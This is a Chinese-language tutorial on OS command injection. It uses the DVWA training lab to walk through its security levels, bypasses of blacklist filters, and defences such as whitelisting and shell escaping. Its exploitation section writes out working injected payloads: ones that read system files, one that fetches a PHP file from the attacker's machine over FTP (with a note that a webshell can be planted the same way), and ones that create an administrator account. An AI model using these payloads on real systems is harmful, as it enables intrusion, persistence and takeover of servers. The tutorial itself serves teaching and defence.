WEB安全-命令执行漏洞
一、什么是命令执行漏洞?
1、概述
在Web 程序中,因为业务功能需求要通过Web前端传递参数到后台服务器上执行。
但由于开发人员没有对输入进行严格的过滤,导致攻击者可以构造一些额外的“带有非法目的”命令,去欺骗后台服务器执行这些非法命令。
在存在命令执行漏洞的情况下,如果Web 应用使用的是root权限,则该漏洞可以导致攻击者在服务器上执行任意命令。
以DVWA平台low 安全等级为例,我们来看看这个漏洞的具体成因,漏洞页面如下:
输入IP地址,点击Submit,就会执行ping命令:
查看后端代码:
首先通过php_uname('s')
读取操作系统名,与Windows NT
对比,判断是不是Windows系统。
如果是windows系统,则通过shell_exec()函数执行ping命令。
如果不是,则判断为Linux系统,执行ping -c 4命令。(因为Linux系统如果不指定发包数,就会一直ping下去)
可以看到,这里并没有对输入的’ip’参数做任何过滤,因此存在命令执行漏洞。
在Windows和Linux中,我们可以使用&来执行多条命令。输入8.8.8.8 & ipconfig
,结果如下:
ipconfig被一并执行了,并且成功返回结果。
这就是一个简单的命令执行漏洞,如果web应用为root权限,我们还可以执行创建用户等各类操作。
2、常见连接符
除了上面的&符,还有其他连接符,如下。
“|”:前面命令输出结果作为后面命令的输入内容;输入8.8.8.8|whoami :
“||”:前面命令执行失败的时候才执行后面的命令;输入8.8.8.8||whoami :
“&”:前面命令执行后接着执行后面的命令;
输入错误地址192.1.1.1&whoami:
“&&”:前面命令执行成功了才执行后面的命令;
输入错误地址192.1.1.1&&whoami:
此外,Linux系统还可以使用";"号进行连接。
3、常用命令执行函数
以PHP为例,常用的命令执行函数包括system、exec、shell_exec、passthru。
区别如下:
system:成功执行返回结果的最后一行,否则返回FALSE
exec:成功执行返回结果的最后一行
shell_exec:成功执行返回全部结果,否则返回NULL
passthru :把命令的运行结果原样地直接输出到标准输出设备上
接下来我们来看看DVWA平台,其他安全等级是怎么防护和绕过的。
二、漏洞的分析
1、Medium等级
后端代码:
Medium等级新增str_replace()函数,将输入中的&&和;号替换为空。
但是我们还有&、|、||等符号可以使用。
输入8.8.8.8&whoami绕过:
可以看到,这里采用了黑名单过滤的防护方式。
2、High等级
部分后端代码:
可以看到high等级过滤的更多了,但是还是可以绕过,这里’| '里有个空格。
输入8.8.8.8|whoami,成功执行:
(强行留后门???)
3、Impossible等级
后端代码如下:
首先通过stripslashes()函数删除输入中的反斜杠。
然后通过explode()函数,以逗号为分隔符,对输入的内容进行分隔。
最后,使用is_numeric()函数,逐一检查分隔出的每一部分是不是数字。并且使用sizeof()函数判断分隔出来的内容是不是4部分,以此来判断用户输入的是不是IP。
白名单过滤,只有“数字.数字.数字.数字”类型的输入才会被执行,因此不存在命令执行漏洞了。
三、漏洞的利用示例
1、读取指定目录内容
例如读取目录C:\windows\
输入8.8.8.8|dir C:\windows\
2、读取指定文件内容
例如C:\windows\win.ini
输入8.8.8.8|type C:\windows\win.ini
查看网页源代码:
3、文件上传
在攻击者本地写一个php脚本,例如phpinfo.php,开启FTP服务。
输入8.8.8.8|echo open 192.168.211.1 > o&echo get phpinfo.php >> o &echo quit >> o &ftp -A -n -s:o &del /F /Q o
成功下载到服务器,如下:
尝试访问phpinfo.php,成功:
同理可上传webshell。
其他还包括创建管理员等操作,这里就不一一演示了:
127.0.0.1 | net user test 123 /add
127.0.0.1 | net localgroup administrators test /add
四、漏洞防御
1、对传入的命令进行严格的过滤
2、在后台对应用的权限进行控制,即使有漏洞,也不能执行高权限命令。
3、使用安全函数对输入转义
EscapeShellCmd()函数
EscapeShellArg()函数